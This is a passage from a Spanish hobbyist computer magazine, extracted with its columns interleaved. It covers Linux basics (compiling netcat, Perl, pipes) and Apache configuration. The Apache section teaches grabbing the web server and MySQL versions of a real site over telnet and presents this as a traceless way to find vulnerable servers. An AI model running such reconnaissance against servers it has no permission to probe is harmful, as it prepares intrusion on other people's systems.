            etc.....                                           <Ctrl>+<Alt>+F7.

Página 10                                                                                            PC PASO A PASO Nº 8
GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU




          Esta pantalla muestra al sistema listo para que    normal no puede dañar las partes críticas del
          introduzcamos nuestro login o nombre de            sistema.
          usuario. Posteriormente se nos pedirá el
          password de este usuario:                          En próximos artículos veremos como crear
                                             Si hemos        nuevos usuarios.
                                             metido el
                                             nombre de       5.1- Navegando por la shell
                                             usuario y el
                                             password         Una vez que hemos accedido a nuestra cuenta
                                             correctos,      y el sistema está esperando que le demos
          entraremos en el sistema; en otro caso, se nos     órdenes, debemos de introducir un comando.
          mostrará un mensaje de error. Una vez dentro
          del sistema ya hemos accedido a la shell por       Una de las cosas a tener en cuenta a partir de
          defecto. El símbolo $, llamado prompt, que         ahora cuando manejemos la línea de comando
          podemos observar en la línea de comandos           de GNU/LiNUX, es que aquí se distingue entre
          indica que el sistema está listo para aceptar      mayúsculas y minúsculas. A esta forma de
          comandos.                                          comportarse se le denomina case sensitive. Eso
                                                             quiere decir que no serán lo mismo el comando
                                                             ls que el comando LS o el archivo carta.txt que
                                                             Carta.txt o CARTA.TXT.
                                                             Algunos de los posibles comandos de los que
                                                             disponemos son:




          En el ejemplo mostrado se ha utilizado un
          usuario llamado luis . Este usuario ha podido
          entrar debido a que es un usuario de este
          sistema y tiene una cuenta shell. Tener una
          cuenta es tener un login y un password válidos
          para acceder al sistema.
          Normalmente los sistemas GNU/LiNUX permiten
          crear uno o más usuarios durante la instalación,
          pero siempre existirá un usuario denominado
          root y que es el administrador del sistema. Este
          usuario siempre existirá y su password será
          establecido durante la instalación.

          No conviene utilizar habitualmente la cuenta
          de root, dado que este usuario, por ser el
          usuario administrador, puede alterar cualquier
          aspecto del sistema, y si no sabemos muy           Tal vez los comandos más importantes sean
          bien lo que hacemos (e incluso si lo sabemos)      dos que no aparece en esta tabla: el comando
          podremos dañarle irreversiblemente.                man y el comando info . Estos comandos nos
          Es por esto que se recomienda encarecidamente      muestran información detallada de casi cualquier
          el uso de otro usuario, dado que un usuario        comando o programa que tengamos instalado

PC PASO A PASO Nº 8                                                                                             Página 11
GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU




            en nuestro sistema. Requieren que esté                Entonces tendremos que buscarlo en Internet.
            instalado el sistema man e info, cosa que ocurre      Un buen punto de partida suele ser
            por defecto. Por ejemplo, si queremos conocer         www.google.com/linux. Algunas de estas
            todas las opciones del comando ls podemos             aplicaciones que podemos encontrar en Internet
            teclear man ls. Otra manera más rápida de             ponen a disposición paquetes para determinadas
            conseguir ayuda suele ser emplear el parámetro        distribuciones. En este caso bastaría con bajar
            help en un comando o programa. Por ejemplo,           determinado paquete e instalarlo de la manera
            ls -help, nos mostrará la ayuda "en línea" de         usual.
            dicho comando.                                        Pero si no encontramos el paquete específico
                                                                  para nuestra distribución o simplemente
            Una vez que se ha hecho una presentación              deseamos generar los ejecutables de manera
            general de lo que es un sistema GNU/LiNUX,            que se acoplen como un guante a nuestro
            vamos a examinar algunas de sus posibilidades.        sistema, la opción sin lugar a dudas que
            En los siguientes puntos vamos a ver: Cómo            debemos tomar es la de bajarnos los códigos
            utilizar un potente lenguaje de scripting, Perl;      fuente del programa. Como alguien del foro
            cómo instalar y utilizar un programa a partir         dice, el secreto está en las fuentes ;o)
            de su código fuente, netcat; cómo utilizar
            algunas de las herramientas avanzadas del             El medio más común de bajarse el código fuente
            shell, pipes.                                         de una aplicación es bajarse un archivo tarball
                                                                  comprimido. Tarball significa algo así como bola
            6 - Instalando un programa a                          de estiércol y recibe su nombre de las bolas
            partir de su código fuente                            que generan los escarabajos peloteros. La razón
                                                                  de llamar así a este tipo de ficheros es que su
            Normalmente las distribuciones utilizan como          misión es la de almacenar toda una estructura
            medio de instalación los llamados "paquetes".         de directorios y su contenido en un única archivo
            Estos no son más que un archivo que contiene          que llevará la extensión .tar. La razón de hacer
            todos los archivos binarios (es decir, los            esto es que cuando los ordenadores
            ejecutables y sus librerías) que componen una         almacenaban la información en una cinta
            aplicación, así como información específica           magnética, esta carecía de una FAT tal y como
            sobre dónde se debe de colocar cada uno de            la conocemos hoy en día por limitaciones físicas.
            los archivos que componen el paquete o si la          De hecho, en la antigua carrera de informática
            instalación de un determinado paquete requiere        existía una única asignatura que trataba este
            de la instalación previa de otros (dependencias)      tipo de problemas (método Warnier ).
            o bien si no es compatible con otros (conflictos).
            Existen varios formatos de paquetes: deb              Anécdotas aparte, estos ficheros suelen ser de
            (Debian), rpm (RedHat/Mandrake/SuSE), ice             un gran tamaño, por lo que se les suele
            (ICE), tgz (Slackware), etc...... Cada distribución   comprimir. Si el compresor que se ha utilizado
            viene con una serie de paquetes en sus CD-            para comprimir el archivo tar ha sido el gzip,
            ROMs y normalmente el proceso de instalarlos          obtendremos una archivo con las extensiones
            consiste, ya sea en un sistema que estamos            .tar.gz o .tgz. Si el compresor ha sido compress
            instalando o en un sistema ya instalado, en           el archivo llevará las extensiones tar.Z o tgZ. Y
            seleccionarlos, resolver las posibles                 si el compresor utilizado ha sido el moderno
            dependencias y/o conflictos e instalarlos.            bzip2 obtendremos archivos cuya extensión es
                                                                  .tar.bz2 o .tbz.
            Pero hay ocasiones en las que determinado
            programa no viene en nuestra distribución.            Hoy por hoy los más comunes son los

Página 12                                                                                              PC PASO A PASO Nº 8
GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU




          comprimidos con gzip o bzip2. La manera de              programa o librería para poder compilar el
          descomprimir este tipo de archivos es invocar           nuestro se nos dirá en este punto.
          a tar (programa que sirve para restaurar o
          crear un archivo tarball) es la siguiente:              - Compilar las fuentes e instalarlas:
          - .tar.gz o tgz: tar xvfz nombre_del_archivo_tarball
          - .tar.bz2 o tbz: tar xvfj nombre_del_archivo_tarball           archivo_fuente_dir $ make
                                                                          archivo_fuente_dir $ su --
          Una vez descomprimido el archivo, se nos habrá                  Password:
          creado un directorio dentro del cual se ha                      archivo_fuente_dir # make install
          restaurado la estructura original que contenía
          el archivo tarball.                                     Obsérvese que en la última tarea nos hemos
                                                                  convertido en administrador ( su -- ) con el fin
          A partir de este momento pasamos a la tarea             de poder instalar los archivos binarios compilados
          de compilar el programa, o dicho de otra                en su lugar.
          manera, a la tarea de generar archivos binarios
          (ejecutables, librerías, etc....) a partir de su        A pesar de que, como se ha comentado, esta
          código fuente.                                          suele ser la secuencia normal a la hora de
                                                                  instalar un programa, conviene que siempre
          Hasta hace no mucho la tarea de compilar un             leamos dos archivos que siempre acompañan
          programa a partir de su código fuente era una           a las fuentes de un programa: README (léame)
          tarea un tanto ardua que requería de ciertos            e INSTALL (instalación). Estos archivos contienen
          conocimientos del sistema y del compilador              información precisa sobre como instalar un
          utilizados. Esto es debido a que los programas          programa concreto.
          Free Software distribuyen su código fuente de
          manera que pueda ser compilado en la mayor              Ahora vamos a practicar lo visto con un caso
          parte de las plataformas y SS.OO. existentes.           real. Para ello nos vamos a bajar el código
                                                                  fuente del netcat en su versión 6 para poder
          Afortunadamente de unos años a esta parte               compilarlo bajo GNU/LiNUX de la siguiente
          han surgido herramientas como las autotools             d     i    r   e     c    c    i   ó     n   :
          que simplifican mucho el proceso de generar             http://freshmeat.net/projects/nc6/?topic_id=87
          una aplicación a partir de su código fuente.            Esta versión soporta los protocolos tanto IPv4
          Actualmente el proceso de compilación e                 e IPv6, por si localizamos algún servidor que
          instalación de una aplicación a partir de su            soporte este protocolo.
          código fuente consta de cuatro pasos:                   Vamos a bajarnos el archivo nc6-0.4.tar.bz2
                                                                  por ser el más comprimido y el que menos
          - Descomprimir el archivo tar y entrar en el            tiempo tardará en descargarse.
          directorio:                                             Una vez descargado, seguimos los pasos arriba
                                                                  descritos:
                  $ tar xvfz archivo_fuente.tgz
                  $ cd archivo_fuente_dir                         luis@el_chaman $ tar xvfj nc6-0.4.tar.bz2
                                                                      ………………………………………
          - Configurar las fuentes para ser compiladas:           luis@el_chaman $ cd nc6-0.4
                                                                  luis@el_chaman ~/nc6-04 $ ./configure
                   archivo_fuente_dir $ ./configure                   ………………………………………
                                                                  luis@el_chaman ~/nc6-04 $ make
          En caso de que necesitemos instalar algún otro          luis@el_chaman ~/nc6-04 $ su --

PC PASO A PASO Nº 8                                                                                                    Página 13
GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU




            Password:                                                           que realiza un telnet al puerto 25. Todos los
            root@el_chaman ~/nc6-04 $ make install                              ejemplos que se traten o hayan tratado en la
                                                                                revista utilizando netcat los podremos realizar
            Si todo ha ido bien, en /usr/local/bin tendremos                    ahora desde nuestro equipo GNU/LiNUX.
            el ejecutable del netcat: nc6 .
                                                                                7 - Un lenguaje de scripting en
            Ahora si quisiéramos conocer el funcionamiento
                                                                                GNU/LiNUX: Perl
            de este programa teclearíamos
                                                                                A pesar de que las propias shell poseen un
            root@el_chaman ~/nc6-04 $ nc6 --help
                                                                                potente lenguaje de scripting (sh script, csh script,
            Usage:
                                                                                ksh script, etc....) muchas veces se opta por
                      nc6 [options...] hostname port
                      nc6 -l -p port [-s addr] [options...] [hostname] [port]   utilizar lenguajes de scripting disponibles para
                                                                                más plataformas, o, simplemente más adecuados
            Recognized options are:                                             para tareas concretas. Este es el caso de Perl
              -4            Use only IPv4                                       (Practical Extraction and Report Language) que
              -6            Use only IPv6
                                                                                está disponible para casi cualquier plataformas
              -h, --help      Display help
                                                                                y además es un lenguaje de scripting (dado que
                -l, --listen         Listen mode, for inbound connects
               -n                   Numeric-only IP addresses, no DNS           es interpretado) muy adecuado para tareas de
              -p, --port=PORT Local source port                                 red así como manejo de archivos o textos. Todo
              -q, --hold-timeout=SEC1[:SEC2]                                    esto nos interesa mucho dado que podemos
                                Set hold timeout(s) for local [and remote]      realizar scripts que realicen tareas potentes
              -s, --address=ADDRESS
                                                                                sobre red y tener la seguridad de que aunque
                           Local source address
                                                                                lo ejecutemos en distintos SS.OO., funcionarán
              -t, --idle-timeout=SECONDS
                           Idle connection timeout                              sin hacer cambio alguno (siempre y cuando
              -u, --udp       Require use of UDP                                esos SS.OO. tengan instalado un intérprete
              -v             Increase program verbosity (call twice for max     Perl)
            verbosity)                                                          Tradicionalmente ha sido el lenguaje con el que
              -w, --timeout=SECONDS
                                                                                sen hecho la mayoría de los CGIs en la WWW.
                           Timeout for connects/accepts
              -x, --transfer File transfer mode
                      --recv-only      Only receive data, don't transmit        Perl viene con casi todas las distribuciones, así
                      --send-only      Only transmit data, don't receive        que no tendremos que buscar por Internet,
                 --buffer-size=BYTES                                            aunque si somos de los que nos gusta compilarlo
                           Set buffer size                                      desde las fuentes, el lugar que debemos visitar
                  --mtu=BYTES Set MTU for network connection transmits
                                                                                sin lugar a dudas es CPAN (www.cpan.org)
                  --nru=BYTES Set NRU for network connection receives
                                                                                donde podremos encontrar miles de páginas
                     --half-close Handle network half-closes correctly
                  --disable-nagle                                               de documentación, módulos, scripts de ejemplo,
                              Disable nagle algorithm for TCP connections       etc.....
                  --no-reuseaddr
                            Disable SO_REUSEADDR socket option (only in         Para escribir un script en Perl debemos de crear
            listen mode)
                                                                                un archivo de texto al que le pondremos la
                   --sndbuf-size Kernel send buffer size for network sockets
                                                                                extensión .pl y cuya primera línea sea
                --rcvbuf-size Kernel receive buffer size for network sockets
                    --version        Display nc6 version information
                                                                                #!/usr/bin/perl
            Un ejemplo de uso de netcat sería:

                                                                                o la ruta donde tengamos instalado perl. Esta
            luis@el_chaman $ nc6 localhost 25
                                                                                es la manera en la que los scripts UNiX llaman

Página 14                                                                                                               PC PASO A PASO Nº 8
GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU




           al intérprete adecuado, en este caso el Perl.        siguiente manera: $variable=<STDIN>;
           Haciendo esto, nos ahorramos el tener que            Cuando Perl interpreta esta línea, espera a que
           invocar al intérprete desde la línea de comando,     se introduzca un dato y se presione ENTER
           tal y como hacemos en este ejemplo:                  (retorno de carro). Ojo que también se lee el
                                                                ENTER. Para evitar futuros problemas con ello,
           luis@el_chaman $ perl archivo.pl                     disponemos de otra función: chop que elimina
                                                                el último carácter de una cadena de texto.
           Cosa que también es correcta y podemos hacer.        Vista la entrada y salida, va siendo hora de que
                                                                 hagamos nuestro primer programa en Perl.
           Dicho esto, examinemos algunas características       Como no, es un "Hola mundo" :o) :
           de este lenguaje:
                                                                #/usr/bin/perl
           Sintaxis:                                            # Primer programa en Perl
                                                                print "Deme su nombre: ";
           Cada línea de comando debe finalizar con             $minombre=<STDIN>;
           punto y coma (;)                                     print "Hola $minombre";
           Cada línea de comentarios, sobre las líneas de       # Como no hemos eliminado el retorno de carro
           programación deben iniciar con el símbolo: #         # saltará una línea. Si queremos añadir saltos de
           Los bloques de código de Perl, tales como los        # línea, agregamos el carácter 'n'
           ciclos de control y las condiciones siempre          # Imprimimos de nuevo nuestro nombre tras
           deben encerrarse entre llaves ({..}).                eliminarle
                                                                # el último carácter
           Variables:                                           chop $minombre;
                                                                print "$minombre es el mejor n";
           Perl utiliza como base el tipo escalar. Un escalar
           es un tipo de dato que puede ser un entero,          La salida de este programa sería:
           un real o una cadena.
           Las variables irán siempre precedidas del            luis@el_chaman $ perl archivo.pl
           símbolo $ sin necesidad de ser declaradas al         Deme su nombre: Fulanito
           inicio del programa como puede suceder en            Hola Fulanito
           otros lenguajes como el C.                           Fulanito es el mejor
           Ejemplo de utilización de variables en Perl:         luis@el_chaman $

           $numentero = 6; # un entero                          Bueno, esta ha sido la presentación del lenguaje
           $cadena = "11"; # una cadena                         Perl. Como es obvio nos dejamos muchas cosas
           $numreal= 4.5; # un real;                            en el tintero, pero no olvidemos el contexto en
                                                                el que se realiza. Más adelante profundizaremos
           Entrada/Salida:                                      en este apasionante lenguaje.

           A la hora de realizar operaciones de                 8 - Pipes (tuberías); fontanería en
           entrada/salida vamos a disponer de la función        nuestra línea de comandos
           print para imprimir y del dispositivo <STDIN>
           para la entrada. La entrada, para aquellos que       Cualquier programa que utilizamos desde la
           estéis acostumbrados a otros lenguajes resulta       línea de comandos puede ser visto como un
           cuanto menos curiosa; funcionará asignado            sistema de caja negra que por un lado recibe
           una variable el valor que tecleemos de la            información, y por el otro nos ofrece unos

 PC PASO A PASO Nº 8                                                                                                Página 15
GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU




            resultados que, por supuesto son también
            información. Esta manera de comportarse es             !            Comentario de...
            independiente del S.O. que utilicemos.
            Gráficamente se representaría de la siguiente          Comentario de Hack x Crack: Toma buena nota de esta
            manera:                                                explicación, en otro artículo de este número 8 tenemos un
                                                                   ejemplo práctico :)



                                                               9 - Conclusiones
            Normalmente la información de un programa
            se recibe por la entrada estándar (teclado) y      Este artículo, a pesar de su extensión, ha sido
            se muestra por la salida estándar (pantalla).      una presentación de muchos temas pero poca
                                                               profundización en ellos. La razón es que muchas
            Pero en determinadas ocasiones nos podría          veces debemos de tener una visión global de
            interesar tener este esquema:                      lo que supone tener un S.O. con tantas
                                                               posibilidades como GNU/LiNUX antes de
                                                               profundizar en él. He procurado tocar los puntos
                                                               de GNU/LiNUX que tienen relación con otros
                                                               artículos de esta revista para de esta manera
            Es decir, que la salida de un programa fuese       percibir mejor las posibilidades e ir
            la entrada del otro. Pues bien; diversos SS.OO.    "enganchando" a algún incauto windowsero
            entre los que se encuentran UNiX, GNU/LiNUX        ;o).
            y Windows en su línea de comandos
            proporcionan una herramienta que hace esto:        Espero que haya servido de ayuda a alguien y
            Los pipes (tuberías) cuyo símbolo es | (barra      esperemos que en el futuro profundicemos y
            vertical).                                         presentemos temas que, ay, han quedado
                                                               obligatoriamente en el disco duro.
            Ejemplo: Los comandos dir y more realizan
            respectivamente las siguientes tareas; dir nos     Un saludo.
            lista todos los archivos de un directorio (ls en
            GNU/LiNUX); more nos muestra página a página       Luis U. Rodríguez Paniagua
            el contenido de un archivo.
            Dicho de otra manera, dir/ls proporcionan como
            información de salida un listado de archivos;
            more necesita como entrada texto a paginar.
            Si tecleamos:

            dir | more   Windows
            ls | more    GNU/LiNUX

            El listado generado por dir será visto por
            more como la información a paginar. Esto
            es válido para cualquier comando que
            desde consola necesite o proporcione
            información.


Página 16                                                                                            PC PASO A PASO Nº 8
APACHE Parte II:
         Configuracion - Comparte
         tus ficheros mediante web

          Bienvenidos de nuevo al mundo de APACHE :)
          En el anterior número instalamos el Servidor Web Apache con los parámetros por defecto,
          por lo que aún no es recomendable que pongáis el servidor visible al mundo, aunque ya
          podemos empezar a experimentar ;)
          Recuerda que no existen muchas diferencias entre el servidor instalado en vuestro
          ordenador personal y el de un Servidor Comercial (si que existen diferencias pero no
          tantas).


          1.       Arrancar y parar Apache
                                                                   !            Sí instalaste...
          Lo primero que hay que hacer es poner en
          marcha el servidor Apache, para ello sigue los           Si instalaste APACHE en otro directorio, por ejemplo
          pasos del número 7 de Hack x Crack o mejor               c:apacheApache o C:loqueseaApache, no importa,
          hazlo desde una Ventana de Comandos:                     simplemente sigue este ejercicio cambiando la ruta.
                                                                   Este artículo está escrito interpretando que el Servidor
          - Abre una ventana de MSDOS (Shell, ventana              Apache está instalado en c:Apache
          de comandos…), ya hemos explicado en
          números anteriores una y mil veces como se
          hace esto de abrir la ya famosa ventanita negra       Pon apache.exe -h y obtendrás un listado de
                                    ;p.                         todos los parámetros de entrada que admite
                                    - Recorre los               el ejecutable apache.exe
                                    directorios hasta
                                    situarte en el directorio
                                    donde instalases el
                                    Apache (nosotros lo
                                    instalamos            en
                                    C:Apache). Ya sabes,
                                    lo hemos hecho mil
                                    veces, en nuestro caso
                                    sería introduciendo el
          comando cd c:Apache (y pulsa enter)
          - Verás que hay un ejecutable llamado
          apache.exe, todo esto ya lo vimos en el
          número anterior. ¿Cómo? ¿Que no ves el archivo
          apache.exe? Como se nota que no te has leído
          ni uno solo de nuestros números, venga,
                                                                Para poner en marcha el apache desde la línea
          introduce el comando dir y pulsa enter
                                                                de comandos pon:

PC PASO A PASO Nº 8                                                                                              Página 17
APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II




            Apache.exe -k start                                  como es lógico Apache soluciona los problemas
                                                                 y saca una nueva versión sin los bugs conocidos.
            Si está todo correcto el servidor se iniciará sin    Conocer la versión de Apache te aportará
            problemas y, como podrás comprobar, la               conocer la política del departamento de sistemas
            ventana del MSDOS no te devuelve el promt            propietaria del servidor (las personas que están
            del sistema (no podrás escribir nada mas en          detrás manejando el servidor) y las
            esta Ventana de Comandos. No cierres la              vulnerabilidades del servidor web.
            ventana, si la cierras el servidor Apache dejará
            de funcionar.                                        Si el servidor analizado tiene una versión de
                              Para continuar con la práctica     Apache antigua quiere decir que el administrador
                              abre una nueva ventana de          encargado de mantener el servidor no se está
                              MSDOS, tienes que tener dos        preocupando de la seguridad. ¿Ves por donde
                              ventanas abiertas, una con el      van los tiros? X)
                              Apache en marcha y otra para
            que puedas introducir nuevos comandos. Esto          Averiguar la versión de Apache de forma
            es debido a que ya no podemos escribir nada          local
            en la ventana anterior pero necesitamos "hablar"
            (dar ordenes) con el Servidor APACHE, así que,       El ejecutable Apache.exe ofrece un parámetro
            venga, abre otra "ventanita negra", ves al           que te indica la versión de servidor web
            directorio c:Apache (cd c:Apache) y vamos          instalado. Recuerda que tienes que estar situado
            a parar el servidor. Para ello tienes dos opciones   en el directorio donde tienes instalado el
            que realizan la misma función:                       Apache.(C:apache)

            Apache.exe -k stop                                   Apache.exe -v
            Apache.exe -k shutdown
                                                                 La información que te permite conocer es la
            A los pocos segundos verás como la ventana           versión y fecha de cuando fue compilado por
            del sistema que no te dejaba escribir ya te          última vez. Si te has
            permite manipularla, quiere decir que el servidor    instalado el Apache
            web ya no está en marcha y se ha liberado la         partiendo del capítulo
            memoria.                                             anterior (revista nº7)
                                                                 tienes que tener la
                                                                 versión Apache/1.3.27
                                                                 (Win32).

                                                                 Averiguar la versión de Apache de forma
                                                                 remota
            2. Conocer la versión de Apache.
                                                                 Conocer la versión de Apache de otras máquinas
            Cada cierto tiempo Apache saca una nueva             es muy sencillo, puedes hallar y de forma muy
            versión solucionando los bugs, hay que decir         rápida y sin dejar rastro tu interés por conocer
            que Apache es un servidor bastante estable           la versión del servidor web de cualquier otro
            comparado con otros servidores webs como             servidor Apache. Para ello vas a utilizar el cliente
            IIS (de Microsoft). La web oficial de Apache.org     Telnet, ya se comentó en el número 7 de Paso
            ofrece su base de datos de bugs en función           a Paso el cliente Telnet por lo que no vamos a
            del sistema operativo y versión de Apache,           repetir el funcionamiento del cliente Telnet.


Página 18                                                                                               PC PASO A PASO Nº 8
APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II




          Simplemente comentarte que el cliente telnet       un comando HTTP correcto, pero para averiguar
          de windows 98 se presenta como una ventana        la versión de Apache es suficiente con enviar
          de windows y no a modo de texto como en           cualquier cosa.
          XP/2000, incluso es más sencillo de utilizar si
          te estás iniciando en los clientes Telnet.
                                                                !            Sí utilizas...
          Ejecutamos el comando de sistema telnet.exe,
          como verás se abre una ventana sin contenido,         Si utilizas el telnet de Windows XP, como en el número 7
          con el fondo blanco y con un menú en la parte         de Hack x Crack, deberás:
          superior. Selecciona Sistema remoto del               - Abrir una Ventana de Comandos
          menú desplegable Conectar.                            - Escribir telnet 127.0.0.1 80
                                                                En este momento tendrás ante ti una ventana completamente
                                                                en negro, sin una sola letra.
                                                                - Escribir cualquier cosa (aunque no se verá reflejado en
                                                                la ventana) y pulsar enter. En ese momento verás el mensaje
                                                                de error y la versión de apache del remoto, como en la
                                                                imagen ;)




          En nombre de host puedes poner un dominio
          o la IP de un servidor.
          Cambia el puerto, por defecto está el Telnet
          (puerto 23), cambialo a 80 (es el puerto por      Lo que estás haciendo mediante el cliente de
          defecto del servidor web). El parámetro tipo      telnet es conectarte al servidor Apache sin
          de terminal no hace falta que lo cambies.         utilizar el Browser (Internet Explorer o Netscape).
          Resumiendo, pon los siguientes datos:             Esta técnica es muy útil si necesitas conocer
                                                            las versiones de los servicios que están
          Nombre de host: 127.0.0.1 de esta forma           funcionando en los servidores. Vamos a poner
          te conectarás a tu propio servidor.               un par de ejemplos :)
          Puerto: 80
          (Recuerda iniciar el Servidor Apache antes de     EJEMPLO 1: Vamos a averiguar qué versión de
          Aceptar: apache -k start)                         apache está corriendo en el servidor de amen-
                                                            es que contiene las páginas de Hack x Crack
          Al aceptar verás que no ocurre nada, escribe      (www.hackxcrack.com).
          cualquier cosa (no verás lo que escribes) y
          pulsa el botón return del teclado. Al instante    a) - Iniciamos el Telnet e intentamos conectarnos
          recibirás un texto comunicando un error de        a www.hackxcrack.com. Si tienes Windows
          método no implementado (Error 501 Method          2000/XP, ya sabes, abres una ventana DOS y
          Not Implemented). Lo que ha sucedido es que       escribe
          el servidor estaba esperando que le enviaras      telnet (y pulsa return)

PC PASO A PASO Nº 8                                                                                               Página 19
APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II




            * Esto inicia la consola Telnet                   Esto no os funcionará en todos sitios, claro…
                                                              pero la experiencia es la madre de la ciencia;
            b) - Ahora escribes                               ya sabes, poco a poco y paso a paso ;)
            set localecho (y pulsa enter)
            * Esto habilita el eco local
                                                                  !              En el número 7...
            c) - Finalmente escribe
            open www.hackxcrack.com 80                            En el número 7 de Hack x Crack, en el artículo RAW1 ya
            * Esto nos conecta al servidor donde están            trabajamos con telnet, si no entiendes qué es eso del
            alojadas las páginas de Hack x Crack.                 localecho y otras cosas, ya sabes, pégale un vistazo al
            * En este momento deberías ver un mensaje             número 7 :)
            que       reza     "conectándose         a
            www.hackxcrack.com...", como en la imagen         EJEMPLO 2: Telnet, para averiguar si un servidor
                                                              tiene instalado el MySQL y además poder
                                          d)-      Ahora      averiguar la versión, simplemente tienes que
                                          e s c r i b e       colocar la IP del servidor y el puerto de MySQL
                                          cualquier cosa      (3306). Veeeenga, vamos allá.
                                          y pulsa enter,
                                          con lo que          La pregunta es… ¿Tiene el servidor de
                                          obtendrás esto:     h a c k xc ra c k . c o m e l s e r v i c i o M y S Q L ?
                                           * Ya puedes        - Sigue los pasos anteriores a), b) y c) PERO
                                           buscar      la     en el paso c) pon
                                           versión del        open www.hackxcrack.com 3306
                                           Servidor Web,      y obtendrás algo parecido a esto:
                                           ya, que no la      Je, je… mira por
                                           encontrarás…       donde, el servidor
            claro, claro, no todo es tan sencillo ;p… que     de          www.
            los administradores pueden ocultar este dato,     hackxcrack.com
            pero eso lo solucionamos YA!!!                    tiene el servicio
                                                              MySQL versión
            - Abre una nueva Ventana DOS y repite los         3.23.53… pero nos
            pasos hasta el punto c) incluido. Ahora, en       estamos olvidando
            lugar de escribir cualquier cosa y pulsar enter   del objetivo de este artículo, volvamos a nuestro
            como en el paso d), lo que hacemos es escribir    querido APACHE!!!
            get www.hackxcrack.com
            y os aparecerá la versión de Apache ;p            3. Configurando el apache

                                                              Toda la configuración del servidor web está
                                                              guardada en el fichero llamado http.conf del
                                                              directorio c:apacheconf. Este fichero de tipo
                                                              texto puede ser editado con cualquier editor
                                                              de textos, recomendamos el bloc de notas (más
                                                              simple imposible). Pues abre el archivo y aún
                                                              no toques nada, pues un cambio erróneo en
                                                              este archivo y dejarás sin funcionar el servidor
                                                              web.

Página 20                                                                                                PC PASO A PASO Nº 8
APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II




          Una vez abierto se observa que existen líneas     la web tiene miles de visitas y deseas que el
          precedidas por el símbolo # estas líneas como     servidor no consuma recursos de sistema
          habrás supuesto son comentarios que describen     entonces selecciona standalone, pero si quieres
          el parámetro y el valor que hay a continuación.   mayor seguridad en tu servidor web a costa de
                                                            utilizar más recursos (más memoria, más micro,
                                                            ...) entonces utiliza inetd.

                                                            Es necesario que sepas que Apache en
                                                            plataformas Windows solo funciona el
                                                            standalone mientras que en otros sistemas
                                                            como Linux se acepta el Inetd, ya puedes
                                                            suponer que el Apache en Windows consumirá
                                                            menos recursos y que es más propenso a fallos
                                                            de seguridad.

                                                            ServerRoot
                                                            Este parámetro indica el lugar dónde se
                                                            encuentran los archivos de configuración, error
                                                            y registros. Es el directorio padre de todos los
          ServerType                                        archivos relacionados con el servidor Apache.
          El primer parámetro que encontrarás es            En nuestro ejemplo es: c:/apache/ (en la imagen
          ServerType, este parámetro indica a Apache        anterior puedes ver que el directorio padre es
          como debe manipular internamente las              c:/apache/apache, eso es porque esa imagen
          peticiones de los navegantes. Lo que os           corresponde a alguien que ha instalado Apache
          comentamos a continuación es más culturilla       en el directorio c:apacheapache)
          que otra cosa, pero es necesario saberlo para
          conocer como trabaja un servidor Web              Vamos a realizar una prueba cambiando este
          internamente.                                     parámetro, lo primero que tienes que hacer es
                                                            parar el servidor Apache (recuerda: apache.exe
          ServerType puede tener dos valores                -k stop) una vez parado pon cualquier otra cosa
          standalone | inetd, entre ambos parámetros        en ServerRoot, por ejemplo ServerRoot
          existe una gran diferencia relacionada con la     c:/apacheerror/, graba el archivo de
          eficacia del sistema. El proceso de un servidor   configuración.
          configurado como inetd se cierra en el mismo
          momento en el que termina de atender la           Se ha colocado una ruta errónea, Apache
          petición recibida. Mientras que en el modo        dispone de un sencillo debugger que te indicará
          standalone, el subproceso se queda                el error ocurrido
          esperando cierta cantidad de tiempo antes de      y hasta que no lo
          cerrarse. De esta forma se pueden volver a        soluciones no te
          utilizar en el futuro. Como no hay que dedicar    permitirá ejecutar
          recursos de sistema para volver a abrir el        el Apache. Para
          proceso, se mejora la eficacia del servidor.      comprobar si el
          Inetd tiene sus ventajas, se considera más        archivo         de
          seguro que standalone.                            configuración es correcto utiliza el parámetro
                                                            -t, de la siguiente forma:
          ¿Cuándo se tiene que utilizar uno u otro?, si     Apache.exe -t

PC PASO A PASO Nº 8                                                                                            Página 21
APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II




            Te mostrará como resultado el número de línea        para acceder al servidor será:
            donde se ha producido el error. Te                   http://127.0.0.1:8080                          o
            recomendamos que siempre que cambies el              http://www.midominio.com:8080, como verás
            archivo de configuración compruebes si está          primero va la IP o el dominio y luego dos puntos
            correcto. Ahora vuelve a colocar como estaba         junto al puerto.
            el ServerRoot (c:/apache/)
                                                                 Si pones en el navegador (el Internet Explorer,
            TimeOut                                              Netscape o el que utilices normalmente)
            El valor de este parámetro indica el número de       http://127.0.0.1:80 comprobarás que funciona
            segundos antes de enviar un timeout. Es un           correctamente, en cambio si colocas cualquier
            valor a tener en cuenta en la optimización del       otro puerto te dará error.
            servidor Apache, es posible y de vez en cuando
            ocurra que, al solicitar una página web, el          Utilizando los dos puntos y el puerto puedes
            servidor necesite más tiempo para procesar la        capturar a través del navegador información
            petición y enviar la página web. Imagina que         de otros servicios instalados en los servidores
            por cualquier motivo el servidor entra en un         remotos, por ejemplo, ¿quieres confirmar si el
            bucle infinito, esto consume mucha memoria,          servidor de hackxcrack tiene un servidor MySQL
            micro, ... pues con el timeout le dices que a        y si lo tiene que versión utiliza?, pon
            los X segundos pare. Las empresas de hosting         http://www.hackxcrack.com:3306 en tu
            tienen que tener muy controlado este valor,          navegador y verás que la versión es 3.23.53 ;)
            pues piensa en crear un bucle infinito en una
            página PHP que nunca llegue a responder al
            navegante. Esto le supone al servidor una carga
             de procesamiento mayor y tener un proceso
            ocupado un largo tiempo consumiendo recursos.

            El valor por defecto es de 300 segundos (5
            minutos). Si utilizas tu servidor web para mostrar
